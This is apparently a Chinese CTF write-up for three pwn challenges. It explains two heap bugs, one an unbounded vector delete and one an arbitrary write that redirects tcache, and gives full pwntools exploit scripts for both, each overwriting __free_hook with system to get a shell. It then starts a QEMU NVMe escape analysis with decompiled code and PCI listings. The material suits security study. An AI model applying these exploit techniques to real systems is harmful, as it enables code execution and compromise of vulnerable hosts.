程序实现了一种vector
的实现。程序在1,2,4,8,16...
申请新的堆块,拷贝数据,并释放旧的堆块。但是在进行删除Delete
函数的时候没有对边界进行判断,导致我们可以进行无限次释放,从而将vector->current
指针指向已经释放的unsorted bin
的fd
,从而泄露出libc
基址。
泄露出libc
基址之后,我们可以直接利用指针越界覆写0x20
大小的堆块的fd
指针,利用第二个vector
覆写free_hook
,释放带有/bin/sh
的堆块。
# encoding=utf-8
from pwn import *
file_path = "./signin"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x11d2)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0
def add(index, number):
p.sendlineafter(">>", "1")
p.sendlineafter("Index:", str(index))
p.sendlineafter("Number:", str(number))
def delete(index):
p.sendlineafter(">>", "2")
p.sendlineafter("Index:", str(index))
def show(index):
p.sendlineafter(">>", "3")
p.sendlineafter("Index:", str(index))
for i in range(int(0x800/8) + 1):
add(1, 2)
for i in range(int(0x800/8)*2 + 2):
delete(1)
show(1)
libc.address = int(p.recvline()) - 96 - 0x10 - libc.sym['__malloc_hook']
for i in range(int(0x860/8) + 1):
delete(1)
gdb.attach(p, "b *$rebase(0x11d2)")
log.success("libc address {}".format(hex(libc.address)))
add(1, libc.sym['__free_hook']-0x8)
add(2, u64("/bin/sh\\\\x00"))
add(2, libc.sym['system'])
p.interactive()
程序可以向任意地址写入堆的地址,之后释放了一个重新申请的0x40
大小的堆块。这里主要的难点就是如何选取任意写的位置。从WP
中我们知道,libc
高地址处保存着一个tcache
的指针。但是从源代码中看到tcache
是一个全局变量,而从汇编代码中看到它保存在fs:[0xffffffffffffffb0]
的位置,暂时不知道怎么查看这个值。猜测可能是fs
在内存中的映射。
那么如果我们将tcache
指向程序一开始分配的0x300
大小的堆块,也就是说之后tcache
的管理就从我们设置的堆块开始了,在其中伪造0x40
大小堆块处的指针为free_hook-0x10
,那么在之后就能够覆写free_hook
,并在堆块的起始填入/bin/sh
。释放该堆块即可getsell
。
# encoding=utf-8
from pwn import *
file_path = "./easywrite"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *$rebase(0x12c4)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0
p.recvuntil("Here is your gift:")
libc.address = int(p.recvline().strip(b"\\\\n"), 16) - libc.sym['setbuf']
log.success("libc address {}".format(hex(libc.address)))
fake_tcache_pthread_struct = p32(0) + p32(0x1)
fake_tcache_pthread_struct += p64(0) * int((0x410-0x20 + 0x10)/(8 * 8) - 1)
fake_tcache_pthread_struct += p64(0)* 2 + p64(libc.sym['__free_hook'] - 0x10)
p.sendafter("message:", fake_tcache_pthread_struct)
p.sendafter("to write?:", p64(libc.address + 0x1f34f0))
p.sendafter("message?:", b"/bin/sh\\\\x00".ljust(0x10, b"\\\\x00") + p64(libc.sym['system']))
p.interactive()
qemu逃逸
没有符号表,首先我们看一下启动脚本
#!/bin/bash
pwd=`pwd`
#./qemu-system-x86_64 \\\\
timeout --foreground 600 ${pwd}/qemu-system-x86_64 \\\\
-initrd ${pwd}/rootfs.img -nographic -kernel ${pwd}/kernel-guest \\\\
-L ${pwd}/pc-bios -append "priority=low console=ttyS0 loglevel=3 kaslr" \\\\
-drive file=${pwd}/nvme.raw,format=raw,if=none,id=Dxx -device nvme,drive=Dxx,serial=1234 \\\\
-monitor /dev/null
可以看到这里直接加了nvme
的device
。但是程序没有符号表,因此这里我们搜索一下字符串
char **__fastcall nvme_class_init(__int64 a1)
{
_QWORD *v1; // rbx
__int64 v2; // rax
char **result; // rax
v1 = (_QWORD *)sub_5C5EA0(a1, "device", "hw/block/nvme.c", 1363LL, "nvme_class_init");
v2 = sub_5C5EA0(a1, "pci-device", "hw/block/nvme.c", 1364LL, "nvme_class_init");
*(_DWORD *)(v2 + 208) = 0x58458086;
*(_BYTE *)(v2 + 212) = 2;
*(_QWORD *)(v2 + 176) = nvme_realize;
*(_QWORD *)(v2 + 184) = nvme_exit;
*(_WORD *)(v2 + 214) = 0x108;
v1[12] |= 4uLL;
v1[14] = "Non-Volatile Memory Express";
v1[15] = &off_F326E0;
result = &off_D749C0;
v1[20] = &off_D749C0;
return result;
}
我们看到0x58458086
和0x108
这两个字符串,也就是说这里的vendor_id
是0x8086
,deviceid
就是0x5845
,这里的0x108
指的是设备的类型。我们看一下lspci
。
/home/pwn # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0108: 8086:5845
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
从这里的id
我们可以看到是00:04.0
这个设备,看一下resource
/home/pwn # cat /sys/devices/pci0000\\\\:00/0000\\\\:00\\\\:04.0/resource
0x00000000febf0000 0x00000000febf1fff 0x0000000000140204
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000febf3000 0x00000000febf3fff 0x0000000000040200